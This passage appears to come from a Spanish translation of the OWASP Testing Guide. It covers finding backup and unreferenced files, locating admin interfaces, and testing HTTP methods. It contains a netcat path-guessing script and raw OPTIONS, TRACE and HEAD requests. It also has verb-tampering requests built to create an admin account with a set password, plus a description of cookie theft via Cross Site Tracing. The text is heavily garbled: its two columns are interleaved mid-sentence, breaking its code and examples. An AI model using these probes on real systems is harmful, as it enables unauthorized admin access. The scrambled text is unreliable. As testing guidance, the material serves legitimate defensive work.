extensiones de archivo individuales. Otras herramientas que pueden utilizarse automáticamente por el editor mientras se editan archivos, o por el
para este propósito incluyen: administrador quien está comprimiendo un conjunto de archivos para
crear una copia de seguridad.
• wget - gnu.org
Es fácil olvidar este tipo de archivos y esto puede plantear una amenaza
• curl - curl.haxx.se
seria a la aplicación. Eso sucede porque se pueden generar copias de
seguridad con extensiones de archivo diferentes a las de los archivos
• google for “web mirroring tools”.
originales. Un archivo .tar, .zip o .gz que generamos (y olvidamos...)
obviamente tiene una extensión diferente, y lo mismo ocurre con las
copias automáticas creadas por muchos editores (por ejemplo, emacs
genera una copia de seguridad denominada archivo~ al editar el archivo).
Revise archivos viejos, copias de seguridad y Hacer una copia a mano puede producir el mismo efecto (piensa en
copiar file a file.old). El sistema de archivo subyacente, en el cual se
archivos no referenciados en busca de encuentra la aplicación, podría estar tomando "instantáneas" de su
información sensible (OTG-CONFIG-004) aplicación en diferentes puntos en el tiempo sin su conocimiento, y
también pueden ser accesibles a través de la web. Estas representan una
Resumen amenaza de estilo similar, pero diferentes al tipo "archivo de respaldo" de
su aplicación.
Mientras que la mayoría de los archivos en un servidor web son
manejados directamente por el servidor, no es raro encontrar archivos no
referenciados u olvidados que pueden utilizarse para obtener
información importante acerca de la infraestructura o las credenciales. Como resultado, estas actividades generan archivos que no son
necesarios para la aplicación y pueden ser tratados de manera distinta al
archivo original por el servidor web. Por ejemplo, si hacemos una copia
de login.asp llamada login.asp.old, estamos permitiendo a los usuarios
Los escenarios más comunes incluyen la presencia de viejas versiones descargar el código de login.asp. Esto es porque login.asp.old será
renombradas de archivos modificados, archivos de inclusión que se atendido normalmente como texto simple, en lugar de ser ejecutado
cargan debido a su extensión. En otras palabras, acceder a login.asp causa la
ejecución del código de login.asp, mientras que acceder a login.asp.old
causa que el contenido de login.asp.old (que es, otra vez, el código del
lado del servidor) se entregue simplemente al usuario y se muestre en el
en el idioma de su preferencia y pueden ser descargados como fuente, o evaluador. Esto puede plantear riesgos de seguridad, dado que
incluso copias de seguridad manuales o automáticas o en forma de información confidencial puede ser revelada.
archivos comprimidos. Los archivos de copias de seguridad también
pueden ser generados automáticamente por el sistema de archivos
subyacente donde se aloja la aplicación, una característica que se conoce
generalmente como "instantáneas". En general, exponer el código del lado del servidor es una mala idea. No
sólo está usted innecesariamente exponiendo la lógica del negocio, sino
que, sin saberlo, usted puede estar develando información relacionada
con la aplicación, lo que puede ayudar a un atacante (nombres de ruta de
Todos estos archivos podrán conceder acceso al evaluador a trabajos acceso, estructuras de datos, etc.). Por no mencionar el hecho de que hay
internos, puertas traseras, interfaces administrativas o incluso muchos scripts que tienen incrustado el usuario y contraseña en texto
claro (que es una práctica imprudente y muy peligrosa).

80
• En algunos casos, copiar o editar un archivo no modifica la extensión del archivo,

pero modifica el nombre del archivo. Esto sucede, por ejemplo, en ambientes
Otras causas de archivos no referenciados se deben al diseño o Windows, donde las operaciones de copia de archivos generan nombres de archivo
configuración de opciones cuando permiten que diversos tipos de con el prefijo "Copia de" o versiones localizadas de esta secuencia. Puesto que la
archivos relacionados con la aplicación como archivos de datos, archivos extensión de archivo se queda sin cambios, este no es un caso en que un archivo
de configuración, archivos de registro se almacenen en directorios del ejecutable es devuelto como texto plano por el servidor web y, por lo tanto, no es
sistema de archivo a los que se puede acceder por el servidor web. Estos un caso de revelación de código fuente. Sin embargo, estos archivos también son
archivos normalmente no tienen ninguna razón para estar en un espacio peligrosos porque existe la posibilidad de que incluyan lógica obsoleta e incorrecta
del sistema de archivo que se podría acceder vía web, ya que deben que, si es invocada, podría provocar errores de aplicación que podrían dar
accederse información valiosa a un atacante si está habilitada la pantalla de mensaje de
diagnóstico.
• Los archivos de registro pueden contener información sensible acerca de las

solamente desde el nivel de la aplicación, por la propia aplicación (y no actividades de los usuarios de la aplicación, por ejemplo, datos de parámetros URL,
por el usuario casual que está navegando). Identificador de Sesión, URL visitadas (que pueden revelar contenido sin referencia
adicional), etc.. Otros archivos de registro (por ejemplo registros ftp) pueden
contener información confidencial sobre el mantenimiento de la aplicación por los
administradores del sistema.
Amenazas
• Las instantáneas de archivos del sistema pueden contener copias del código que
Archivos viejos, copias de seguridad y los archivos no referenciados contienen vulnerabilidades que han sido corregidas en las versiones más recientes.
presentan varias amenazas a la seguridad de una aplicación web: Por ejemplo /.snapshot/monthly.1/view.php puede contener una vulnerabilidad de
salto de directorio que se ha fijado en /view.php, pero todavía puede ser explotada
por cualquier persona que encuentre la versión antigua.
• Los archivos no referenciados pueden revelar información sensible que puede

facilitar un ataque focalizado contra la aplicación; por ejemplo, incluir los archivos
que contienen las credenciales de la base de datos, archivos de configuración que
contienen referencias a otros contenidos ocultos, rutas de archivo absolutas, etc.
Cómo probar
• Las páginas no referenciadas pueden contener funcionalidad poderosa que puede
utilizarse para atacar la aplicación; por ejemplo, una página de administración que Prueba de Caja Negra
no está ligada desde el contenido publicado, pero a la que puede acceder cualquier
usuario que sepa dónde se encuentra. Probar en busca de archivos no referenciados utiliza tanto técnicas
automáticas como manuales y normalmente consiste en una combinación
• Los archivos viejos y copias de seguridad pueden contener vulnerabilidades que de los siguientes:
han sido corregidas en las versiones más recientes; por ejemplo, viewdoc.old.jsp
puede contener una vulnerabilidad de salto de directorio que se ha arreglado en
viewdoc.jsp pero todavía puede ser explotada por cualquier persona que encuentre
la versión antigua. Inferencia desde el esquema de nombres, utilizado para el contenido
publicado
Enumere todas las páginas y funcionalidades de la aplicación. Esto puede

• Los archivos de copias de seguridad pueden revelar el código fuente de páginas hacerse manualmente, usando un navegador o utilizando una
diseñadas para ejecutarse en el servidor; por ejemplo, viewdoc.bak que puede herramienta de spidering. La mayoría de las aplicaciones utiliza un
entregar el código fuente de viewdoc.jsp. Estos archivos pueden ser revisados en esquema de nombres reconocibles y organiza recursos en páginas y
busca de vulnerabilidades que pueden ser dificiles de encontrar haciendo peticiones directorios usando palabras que describen su función. Desde el esquema
ciegas a la página ejecutable. Aunque esta amenaza obviamente aplica a lenguajes de nombres utilizado para el contenido publicado, a menudo es posible
de scripts, como Perl, PHP, ASP, shell scripts, JSP, etc., no se limita a estos, como inferir el nombre y la ubicación de los páginas no referenciadas. Por
se muestra en el ejemplo proporcionado en la siguiente viñeta. ejemplo, si encuentra una página viewuser.asp, entonces busque también
edituser.asp, adduser.asp y deleteuser.asp. Si encuentra un directorio
• Los archivos de copias de seguridad pueden contener copias de todos los archivos /app/user, entonces busque también /app/admin y /app/manager.
dentro (o incluso fuera) de la raiz (webroot). Esto permite a un atacante enumerar
rápidamente toda la aplicación, incluyendo las páginas no referenciadas, códigos
fuente, archivos incluidos, etc.. Por ejemplo, si se olvida un archivo llamado
myservlets.jar.old que contiene (una copia de seguridad) las clases de su Otras pistas en los contenidos publicados
implementación servlet, usted está exponiendo un gran cantidad de información
sensible que es susceptible a la descompilación e ingeniería inversa.
81
Muchas aplicaciones web dejan pistas en los contenidos publicados, que

User-agent: *
pueden conducir al descubrimiento de páginas ocultas y su funcionalidad.
Estas pistas aparecen a menudo en el código fuente de archivos HTML y
Disallow: /Admin
JavaScript. El código fuente de todo el contenido publicado debe revisarse
manualmente para identificar pistas sobre otras páginas y su
Disallow: /uploads
funcionalidad. Por ejemplo:
Disallow: /backup
Disallow: /~jbloggs
Las secciones de comentarios y comentarios de eliminación de los
programadores del código fuente pueden referirse al contenido oculto: Disallow: /include

En su forma más simple, esto incluye correr una lista de nombres de
archivo comunes a través de un motor de solicitudes en un intento de
adivinar los archivos y directorios que existen en el servidor. El siguiente
script de envoltura de netcat leerá una lista de palabras desde stdin y
realizará un ataque de conjetura básico:
JavaScript puede contener enlaces a páginas que sólo se procesan dentro

del GUI de usuario bajo ciertas circunstancias:
#!/bin/bash
var adminUser=false;
:
server=www.targetapp.com
if (adminUser) menu.add (new menuItem (“Maintain users”,
“/admin/useradmin.jsp”)); port=80
while read url

Las páginas HTML pueden contener FORMs que han sido ocultadas por
deshabilitar el elemento SUBMIT: do
echo -ne “$url\t”
echo -e “GET /$url HTTP/1.0\nHost: $server\n” | netcat $server $port |

head -1
done | tee outputfile
Dependiendo del servidor, GET puede ser reemplazado con HEAD para
tener resultados más rápidos. El archivo de salida especificado puede
usar la aplicación grep para obtener los códigos de respuesta
"interesantes". El código de respuesta 200 (OK) normalmente indica que
se ha encontrado un recurso válido (siempre y cuando el servidor no
Otra fuente de pistas sobre los directorios no referenciados es el archivo de
entregue una página personalizada de "no encontrada"(not found) con el
/robots.txt utilizado para dar instrucciones a los robots de la web:
código 200). Pero también 302 (Found), 401 (Unauthorized), 403
(Forbidden) y 500 (Internal error), que también pueden indicar recursos
o directorios que son dignos de una investigación posterior.

82
Las páginas y la funcionalidad en aplicaciones web de cara al internet, que

no son referenciadas desde dentro de la propia aplicación, pueden ser
El ataque de conjetura básico se debe ejecutar contra la raíz web referenciadas desde otras fuentes de dominio público. Hay varias fuentes
(webroot) y también contra todos los directorios que se han identificado de estas referencias:
a través de otras técnicas de enumeración. Ataques de conjeturas más
avanzados/eficaces pueden realizarse como se ve a continuación:
• Páginas que solían estar referenciadas todavía pueden aparecer en los

archivos de los buscadores de Internet. Por ejemplo, 1998results.asp puede ya
• Identifique las extensiones de archivo en uso dentro de las zonas conocidas no estar vinculada desde el sitio web de la empresa, pero puede permanecer en
de la aplicación (por ejemplo, jsp, aspx, html) y use una lista básica de el servidor y en las bases de datos de motores de búsqueda. Este viejo script
palabras con cada una de estas extensiones (o use una lista más larga de puede contener vulnerabilidades que podrían ser utilizadas para poner en
extensiones comunes si los recursos lo permiten). peligro todo el sitio. El sitio: Google search operator puede utilizarse para
ejecutar una consulta contra el dominio elegido, como en este caso: sitio:
• Para cada archivo identificado a través de otras técnicas de enumeración, www.example.com. Utilizar motores de búsqueda en esta forma ha dado lugar
cree una lista personalizada de palabras, derivada de ese nombre. Obtenga una a una amplia gama de técnicas que pueden resultar útiles y que se describen en
lista de extensiones de archivo comunes (como ~, bak, txt, src, dev, old, inc, la sección de esta guía de Google Hacking. Revíselo para perfeccionar sus
orig, copy, tmp, etc.) y utilice cada extensión antes, después y en vez de la habilidades de pruebas a través de Google. Los archivos de copia de seguridad
extensión del nombre del archivo actual. no suelen ser referenciados por otros archivos y, por lo tanto, pueden no haber
sido indexados por Google, pero si se encuentran en directorios navegables, el
motor de búsqueda podría saber acerca de ellos.
Nota: Las operaciones de copia de archivos de Windows generan archivos • Además, Google y Yahoo mantienen versiones en caché de páginas
con nombres con el prefijo "Copia de" (Copy of) o versiones localizadas de encontradas por sus robots. Incluso si 1998results.asp ha sido eliminado del
esta cadena, por lo tanto, no cambian las extensiones de archivo. Mientras servidor de destino, una versión de salida puede todavía estar almacenada en
que los archivos "Copia de" (Copy of) típicamente no revelan el código estos motores de búsqueda. La versión en caché puede contener referencias o
fuente cuando se acceden, podrían entregar información valiosa en caso pistas sobre contenido oculto adicional que permanece en el servidor.
de que provoquen errores cuando se les invoca.
• El contenido que no está referenciado desde una aplicación de destino puede
estar vinculado a sitios web de terceros. Por ejemplo, una aplicación que
procesa los pagos en línea a nombre de comerciantes externos puede contener
Información obtenida a través de las vulnerabilidades y mala una variedad de funcionalidades hechas a la medida que pueden
configuración (normalmente) sólo se pueden encontrar (normalmente) siguiendo los enlaces
dentro de las páginas web de sus clientes.
La manera más obvia en que un servidor mal configurado puede revelar
páginas no referenciadas es a través del listado del directorio. Solicite
todos los directorios enumerados para identificar cualquiera que
proporcione un listado de directorios. Filtro de desvío del nombre del archivo
Debido a que los filtros de listas negras se basan en expresiones

regulares, a veces uno puede tomar ventaja de las características oscuras
de expansión del nombre de archivo de OS que trabajan de maneras no
esperadas por el desarrollador. A veces, el evaluador puede explotar las
Se han encontrado numerosas vulnerabilidades en servidores web diferencias en las formas en que los nombres de archivo son analizados
individuales, que permiten a un atacante enumerar los contenidos; por por la aplicación, el servidor web y el sistema operativo subyacente y sus
ejemplo: convenciones de nombre de archivo.
• Apache ?M=D directory listing vulnerability. Ejemplo: Expansión de nombre de archivo 8.3 de Windows "c:\program
files" se convierte "C:\PROGRA~1"
• Various IIS script source disclosure vulnerabilities.
– Remove incompatible characters
• IIS WebDAV directory listing vulnerabilities.
– Convert spaces to underscores
- Take the first six characters of the basename

Uso de información disponible para el púbico

83
– Add “~<digit>” which is used to distinguish files with names using the same six Para garantizar una estrategia de protección efectiva, la prueba debe
initial characters estar compuesta por una política de seguridad que específicamente
prohíbe las prácticas peligrosas tales como:
- This convention changes after the first 3 cname ollisions
– Truncate file extension to three characters

• Editar los archivos en el lugar del servidor web o sistemas de archivos
- Make all the characters uppercase del servidor de aplicaciones. Este es un mal hábito particular, ya que es
probable que, sin querer, los editores generen archivos de respaldo. Es
sorprendente ver que esto se hace frecuentemente, incluso en grandes
organizaciones. Si definitivamente necesita editar archivos en un sistema
Pruebas de Caja Gris en producción, asegúrese de no dejar atrás cualquier cosa que no esté
explícitamente planificada y recuerde que lo está haciendo bajo su propio
Realizar pruebas de caja gris contra archivos viejos y copias de seguridad
riesgo.
requiere examinar los archivos contenidos en los directorios
pertenecientes • Revise cuidadosamente cualquier otra actividad realizada en los
sistemas de archivos expuestos por el servidor web, como las actividades
al conjunto de directorios web, servidos por los servidores web de la
de la administración en el punto. Por ejemplo, si usted necesita de vez en
cuando tomar una instantánea de un par de directorios (que no se debe
infraestructura de aplicaciones web. Teóricamente, el examen se debe
hacer en un sistema en producción), puede sentirse tentado a
realizar a mano para ser cuidadoso. Sin embargo, ya que en la mayoría de
comprimirlos primero. Tenga cuidado de no dejar atrás esos archivos.
los casos las copias de archivos o archivos de copias de seguridad tienden
a crearse usando la misma terminología; la búsqueda puede ser
• Las políticas de gestión de configuración apropiada deberían ayudar a
fácilmente secuenciada. Por ejemplo, los editores dejan copias de
no dejar por ahí archivos obsoletos y sin referencia.
seguridad nombradas con un final o una extensión reconocible y los seres
humanos tienden a dejar archivos con un ".old" o similares extensiones • Las aplicaciones deben ser diseñadas para no crear (o depender de)
predecibles. Una buena estrategia es la de programar periódicamente un archivos almacenados debajo de los árboles de directorios web atendidos
trabajo de fondo comprobando archivos con extensiones que se por el servidor web. Los archivos de datos, archivos de registro, archivos
identifican como copia o copia de seguridad y efectuar comprobaciones de configuración, etc. deben almacenarse en directorios no accesibles por
manuales en base a un mayor tiempo. el servidor web, para contrarrestar la posibilidad de divulgación de
información (sin mencionar la modificación de los datos si los permisos
del directorio web permiten escritura).
Herramientas
• Las instantáneas de sistema de archivos no deben ser accesibles a través
de la web si la raíz del documento es un sistema de archivos que utiliza
• Las herramientas de evaluación de vulnerabilidad tienden a incluir
esta tecnología. Configure el servidor web para negar el acceso a dichos
verificaciones a directorios web que tienen nombres estándar (como “admin”,
directorios, por ejemplo, en apache una directiva de ubicación como esta
“test”, “backup”, etc.) y a reportar cualquier directorio web que permite la
debería utilizarse:
indexación. Si usted no puede conseguir un listado de directorios, debe
intentar comprobar extensiones de respaldo probables. Compruebe, por
ejemplo, Nessus (nessus.org), Nikto2(cirt.net) o su nuevo derivado Wikto <Location ~ “.snapshot”>
(sensepost.com), que también es compatible con Google hacking based
strategies. Order deny,allow
•Las herramientas robot tipo araña: wget (gnu.org, interlog.com); Sam Spade Deny from all
(samspade.org); Spike Proxy incluyen una función de rastreador del sitio web
(immunitysec.com); Xenu (home.snafu.de); Curl (curl.haxx.se). Algunos de </Location>
ellos también se incluyen en las distribuciones estándar de Linux.
• Las herramientas de desarrollo web suelen incluir instalaciones para

identificar los enlaces rotos y los archivos no referenciados.
Infraestructura de Enumeración e Interfaces de
Administración de Aplicaciones (OTG-
CONFIG-005)
Remediación
Resumen
84
Las interfases del administrador se pueden presentar en la aplicación o enviadas al cliente, enlaces a las funcionalidades de administrador, pueden
en el servidor de aplicaciones para permitir que determinados usuarios descubrirse y deben investigarse.
puedan llevar a cabo actividades privilegiadas en el sitio. Se deben
realizar pruebas para revelar sí y cómo esta funcionalidad privilegiada
puede ser accesada por un usuario no autorizado o estándar.
• Revisar el servidor y la documentación de aplicaciones. Si el servidor de
aplicaciones o la aplicación se implementa en su configuración por defecto, es
posible acceder a la interfaz de administración con la información descrita
Una aplicación puede requerir una interfaz de administrador para
habilitar un usuario con privilegios con acceso a funciones que pueden
realizar cambios de cómo funciona el sitio. Tales cambios pueden incluir:´
en la documentación de configuración o ayuda. Las listas de contraseñas por
defecto deben consultarse si se encuentra una interfaz administrativa y se requieren
credenciales.
• Provisionamiento de cuentas de usuario
• Información disponible para el público p. Muchas aplicaciones como wordpress
• Diseño y diagramación del sitio tienen interfaces administrativas por defecto.
• Manipulación de datos • Puerto de servidor alternativo. Las interfaces de administración pueden ser
encontradas en un puerto diferente en el host de la aplicación principal. Por
• Cambios en la configuración ejemplo, a menudo puede verse la interfaz de administración de Apache Tomcat en
el puerto 8080.
• Alteración de parámetros. Un parámetro GET o POST o una variable de cookie

En muchas instancias, dichas interfaces no tienen suficientes controles puede ser requerida para habilitar la funcionalidad de administrador. Pistas para
para protegerlas de accesos no autorizados. La prueba está dirigida a esto incluyen la presencia de campos ocultos tales como:
descubrir estas interfaces de administrador y acceder a funcionalidades
para estos usuarios privilegiados.
<input type=”hidden” name=”admin” value=”no”>
Cómo Probar
En la siguiente sección se describen vectores que pueden utilizarse para o en una cookie:
probar la presencia de interfaces administrativas. Estas técnicas también
pueden utilizarse para probar temas relacionados que incluyen la Cookie: session_cookie; useradmin=0
elevación de privilegios y se describen en otros sitios de esta guía (por
ejemplo Pruebas para eludir el esquema de autorización (OTG-AUTHZ-
002) y Pruebas de referencias de objetos directos inseguros (OTG-
AUTHZ-004) en mayor detalle.
Una vez que se ha descubierto una interfaz administrativa, puede

utilizarse una combinación de las técnicas anteriores para intentar eludir
• Enumeración de archivos y directorios. Una interfaz administrativa puede estar la autenticación. Si esto falla, el evaluador podría intentar un ataque
presente, pero no visiblemente disponible para el evaluador. Intentar adivinar la forzado. En tal caso, el evaluador debe estar consciente de la posibilidad
trayectoria de la interfaz administrativa puede ser tan simple como solicitar: /admin de bloqueo de la cuenta administrativa si dicha funcionalidad está
o /administrator etc... o, en algunos casos, pueden ser revelados en segundos presente.
utilizando Google dorks.
• Existen muchas herramientas disponibles para forzar el contenido del servidor.

Consulte la sección de herramientas a continuación para obtener más información. Pruebas de Caja Gris
* Un evaluador puede tener que identificar también el nombre del archivo de la
página de administración. Navegar hacia la página identificada, a la fuerza, puede Debe realizar un examen más detallado de los componentes del servidor
proporcionar acceso a la interfaz. y de la aplicación para asegurarse de la fortaleza (es decir, las páginas de
administrador no son accesibles a todo el mundo mediante el uso de
• Comentarios y vínculos en el código fuente. Muchos sitios utilizan un código filtros IP u otros controles) y, en ciertos casos, verificar que todos los
común, cargado para todos los usuarios del sitio. Examinando todas las fuentes componentes no usan credenciales o configuraciones por defecto.

85
Aunque GET y POST son los métodos más comunes que se utilizan para
acceder a la información proporcionada por un servidor web, el protocolo
El código fuente debe ser revisado para asegurar que el modelo de de transferencia de hipertexto (HTTP) permite varios otros métodos( y
autorización y autenticación garantiza la separación clara de funciones algunos menos conocidos). RFC 2616 (que describe al HTTP versión 1.1
entre los usuarios normales y los administradores. Las funciones de la que es el estándar hoy en día) define los siguientes ocho métodos:
interfaz de usuario compartidas entre usuarios normales y
administradores deben ser revisadas para garantizar una separación
clara entre el dibujo de dichos componentes y la información que puede
fugarse de tal funcionalidad. • HEAD
• GET
Herramientas • POST
• PUT
• Dirbuster este proyecto OWASP actualmente inactivo sigue siendo una gran • DELETE
herramienta para forzar directorios y archivos en el servidor.
• TRACE
• THC-HYDRA es una herramienta que permite forzar muchas interfaces,
incluyendo la autenticación HTTP basada en formularios. • OPTIONS
• Un forzador es mucho mejor cuando usa un buen diccionario, por ejemplo, el • CONNECT
diccionario de netsparker.
Algunos de estos métodos pueden plantear un potencial riesgo de

Referencias seguridad para una aplicación web, ya que permiten a un atacante
modificar los archivos almacenados en el servidor web y, en algunos
escenarios, roban las credenciales de usuarios legítimos. Más
concretamente, los métodos que deben deshabilitarse son los siguientes:
• Lista de contraseñas por defecto: governmentsecurity.org
• PUT: Este método permite a un cliente subir nuevos archivos en el

• Lista de contraseñas por defecto: cirt.net servidor web. Un atacante puede explotarlo subiendo archivos maliciosos
(por ejemplo: un archivo asp que ejecuta los comandos invocando el
cmd.exe), o simplemente usando el servidor de la víctima como un
deposito de archivos.
Pruebe los métodos HTTP (OTG-CONFIG- • DELETE: Este método permite a un cliente eliminar un archivo en el
006) servidor web. Un atacante puede explotarlo como una forma muy simple
y directa para modificar un sitio web o para montar un ataque DoS.
Resumen • CONNECT: Este método podría permitir a un cliente utilizar el servidor

web como un proxy.
HTTP ofrece una serie de métodos que pueden utilizarse para realizar
acciones en el servidor web. Muchos de los métodos están diseñados para
• TRACE: Este método simplemente hace eco al cliente de cualquier
cadena que ha sido enviada al servidor y se utiliza principalmente para
propósitos de depuración. Este método, originalmente asumido como
inofensivo, puede usarse para un ataque conocido como Rastreo de Sitios
ayudar a los desarrolladores a implementar y probar aplicaciones HTTP.
Cruzados (Cross Site Tracing), que ha sido descubierto por Jeremiah
Estos métodos HTTP pueden utilizarse para fines malvados si el servidor
Grossman (vea los enlaces en la parte inferior de la página).
web está mal configurado. Además, el Cross Site Tracing (XST), una forma
de escritura de sitios cruzados que utiliza el método TRACE del servidor
HTTP, es examinado.
Si una aplicación necesita uno o más de estos métodos, tales como los
servicios Web REST (que puede requerir de PUT o DELETE), es
86
importante verificar que su uso está debidamente limitado a usuarios de

$ nc www.victim.com 80
confianza y condiciones de seguridad.
OPTIONS / HTTP/1.1
Host: www.victim.com
Métodos HTTP Arbitrarios
Arshan Dabirsiaghi (ver enlaces) descubrió que muchos frameworks de

aplicación web permitían métodos HTTP bien elegidos o arbitrarios para
HTTP/1.1 200 OK
evitar un control de acceso a nivel del ambiente:
Date: Tue, 31 Oct 2006 08:00:29 GMT

• Muchos frameworks y lenguajes tratan "HEAD" como una petición de "GET",
aunque sin ningún cuerpo en la respuesta. Si una restricción de seguridad fue
Connection: close
establecida en las peticiones de "GET" que sólo los "authenticatedUsers" o usuarios
autenticados podrían acceder a solicitudes GET para un recurso o un servlet en Allow: GET, HEAD, POST, TRACE, OPTIONS
particular, sería evitado con la versión de "HEAD". Esto permitió la sumisión ciega
y sin autorización de cualquier solicitud GET privilegiada.
• Algunos frameworks permiten métodos HTTP arbitrarios como "JEFF" o

"CATS" para que sean utilizados sin límite. Estos fueron tratados como si
Como podemos ver en el ejemplo, OPTIONS proporciona una lista de los
métodos admitidos por el servidor web, y en este caso podemos ver que
el método TRACE está habilitado. El peligro que plantea este método se
un método "GET" fuera emitido y resultaron no ser sujetos a un control de acceso ilustra en la siguiente sección.
basado en el método de roles en varios idiomas y frameworks, otra vez, lo que
permite una sumisión ciega sin autorización a peticiones GET privilegiadas.
Pruebe el potencial XST
En muchos casos, el código que comprueba explícitamente un método Nota: para entender la lógica y los objetivos de este ataque, uno debe
"GET" o "POST" sería seguro. estar familiarizado con los ataques de Cross Site Scripting.
Cómo Probar El método TRACE, aunque aparentemente inofensivo, se puede

aprovechar con éxito en algunos escenarios para robar credenciales de
Descubra los Métodos Soportados usuarios legítimos. Esta técnica de ataque fue descubierta por Jeremiah
Grossman en el 2003, en un intento de eludir la etiqueta HttpOnly que
Para realizar esta prueba, el evaluador necesita alguna manera de Microsoft introdujo en Internet Explorer 6 SP1 para proteger las cookies
averiguar qué métodos HTTP son compatibles con el servidor web que de ser accesibles mediante JavaScript. De hecho, uno de los patrones de
está siendo examinado. El método de OPTIONS HTTP (opciones HTTP) ataque más recurrentes del Cross Site Scripting es tener acceso al objeto
proporciona al evaluador la forma más directa y efectiva de hacerlo. RFC document.cookie y enviarlo a un servidor web controlado por el atacante
2616 afirma que "el método de OPTIONS representa una solicitud de para que él o ella pueda secuestrar la sesión de la víctima. Etiquetaruna
información sobre las opciones de comunicación disponibles en la cadena cookie como HttpOnly prohíbe a JavaScript acceder a la misma,
de solicitud/respuesta identificada por el URL solicitado". protegiéndola de ser enviada a un tercero. Sin embargo, puede utilizarse
el método TRACE para saltarse esta protección y acceder a la cookie en
este escenario.
El método de prueba es muy sencillo y sólo necesitamos iniciar netcat (o

telnet):
Como se mencionó anteriormente, TRACE simplemente devuelve
cualquier cadena que se envía al servidor web. Para verificar su presencia
(o para comprobar los resultados de la solicitud de OPTIONS que se
muestra arriba), el evaluador puede proceder como se muestra en el
ejemplo siguiente:

87
• Aprovechando otra vulnerabilidad del lado del servidor: el atacante inyecta el

fragmento hostil de JavaScript que contiene la petición TRACE en la aplicación
vulnerable, como en un ataque normal de Cross Site Scripting.
• Aprovechando una vulnerabilidad del lado del cliente: el atacante crea un sitio
$ nc www.victim.com 80
web malicioso que contiene el fragmento del código hostil de JavaScript y
aprovecha alguna vulnerabilidad entre dominios del navegador de la víctima ,
TRACE / HTTP/1.1
para que el código JavaScript pueda realizar con éxito una conexión con el sitio
que soporta el método TRACE y que originó la cookie que el atacante está
Host: www.victim.com
tratando de robar.
HTTP/1.1 200 OK
Información más detallada, junto con ejemplos de código, puede
encontrarse en el documento original escrito por Jeremiah Grossman.
Date: Tue, 31 Oct 2006 08:01:48 GMT
Connection: close Pruebas de métodos HTTP arbitrarios
Content-Type: message/http Encuentre una página para visitar que tenga una restricción de seguridad
que normalmente obligaría una redirección 302 hacia una página de
Content-Length: 39 registro o fuerce un registro directamente. La URL de la prueba en este
ejemplo funciona así, como lo hacen muchas aplicaciones web. Sin
embargo, si un evaluador obtiene una respuesta "200" que no es una
página de registro, es posible eludir la autenticación y autorización.
TRACE / HTTP/1.1
Si el framework, firewall o la aplicación no admite el método de "JEFF",
debe $emitir una página de error
nc www.example.com 80 (o preferiblemente un 405 Not Allowed o
501 Not implemented error page). Si sirve a la solicitud, es vulnerable a
El contenido de la respuesta es exactamente una copia de nuestra este problema.
JEFF / HTTP/1.1
petición original, lo que significa que el objetivo permite este método.
Ahora, ¿dónde está el peligro acechando? Si el evaluador indica un Host: www.example.com
navegador para emitir una petición TRACE al servidor web, y este
navegador tiene una cookie para ese dominio, la cookie se incluirá Si el evaluador siente que el sistema es vulnerable a este problema, debe
automáticamente en los encabezados de la solicitud y, por lo tanto, se publicar ataques tipo CSRF para explotar el tema más plenamente:
HTTP/1.1 200 OK
muestran en la respuesta resultante. En ese momento, la cadena de la
cookie será accesible por JavaScript y será finalmente posible enviarla a
Date: Mon, 18 Aug 2008 22:38:40 GMT
un tercero, así la cookie esté etiquetada como httpOnly.
• FOOBAR/admin/createUser.php?member=myAdmin
Server: Apache
• JEFF/admin/changePw.php?member=myAdmin&passwd=
Set-Cookie: PHPSESSID=K53QW...
Hay varias maneras de hacer que un navegador emita una solicitud
foo123&confirm=foo123
TRACE, tales como el control XMLHTTP ActiveX en Internet Explorer y
XMLDOM en Mozilla y Netscape. Sin embargo, por razones de seguridad,
• CATS /admin/groupEdit.php?group=Admins&member=myAd
al navegador se le permite iniciar una conexión sólo con el dominio donde
reside el script hostil. Este es un factor atenuante, ya que el atacante debe
min&action=add
combinar el método TRACE con otra vulnerabilidad para montar el
ataque.
Con suerte, usando los tres comandos anteriores que han sido
modificados para adaptarse a la aplicación sometida a la prueba y los
Un atacante tiene dos formas de lanzar con éxito un ataque de Cross Site
requisitos de prueba, se debe crear un nuevo usuario, con una contraseña
Tracing:
asignada y hacelo administrador.

88
Pruebas para omitir el control de acceso HEAD Si el evaluador piensa que el sistema es vulnerable a este problema, debe
emitir ataques tipo CSRF para explotar el tema más plenamente:
Encuentre una página para visitar que tenga una restricción de seguridad
que normalmente obligaría una redirección 302 a una página de registro
o fuerce un registro directamente. La URL de prueba en este ejemplo
funciona así, como lo hacen muchas aplicaciones web. Sin embargo, si el • HEAD /admin/createUser.php?member=myAdmin
evaluador obtiene una respuesta "200" que no es una página de inicio de
sesión, es posible eludir la autenticación y autorización. • HEAD /admin/changePw.php?member=myAdmin&passwd=
foo123&confirm=foo123
$ nc www.example.com 80
• HEAD /admin/groupEdit.php?group=Admins&member=myAd
HEAD /admin HTTP/1.1
min&action=add
Host: www.example.com
Con suerte, usando los tres comandos anteriores (modificados para

HTTP/1.1 200 OK adaptarse a la aplicación sometida a prueba y los requisitos de prueba)se
debe crear un nuevo usuario, con una contraseña asignada y hacerlo
Date: Mon, 18 Aug 2008 22:44:11 GMT administrador, todo usando un envío de solicitud ciega.
Server: Apache
Set-Cookie: PHPSESSID=pKi...; path=/; HttpOnly Herramientas
Expires: Thu, 19 Nov 1981 08:52:00 GMT • NetCat - http://nc110.sourceforge.net
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, • cURL - http://curl.haxx.se/

pre-check=0
Pragma: no-cache
Referencias
Set-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug-2009
22:44:31 GMT; domain=www.example.com Libros Blancos
Set-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 • RFC 2616: “Hypertext Transfer Protocol -- HTTP/1.1”
22:54:31 GMT; domain=www.example.com
• RFC 2109 and RFC 2965: HTTP State Management Mechanism”
Set-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007
22:44:30 GMT; domain=www.example.com
Content-Language: EN • Jeremiah Grossman: “Cross Site Tracing (XST)” - cgisecurity.com
Connection: close • Amit Klein: “XS(T) attack variants which can, in some cases, eliminate the
need for TRACE” - securityfocus.com
Si el evaluador obtiene un "405 Method not allowed " o "501 Method • Arshan Dabirsiaghi: “Bypassing VBAAC with HTTP Verb Tampering” -
Unimplemented", el objetivo static.swpag.info
aplicación/framework/lenguaje/sistema/firewall) está funcionando
correctamente. Si regresa un código de respuesta "200", y la respuesta no
contiene ningúna información, es probable que la aplicación ha procesado
la solicitud sin autenticación o autorización y se deben realizar pruebas
para certificarlas.
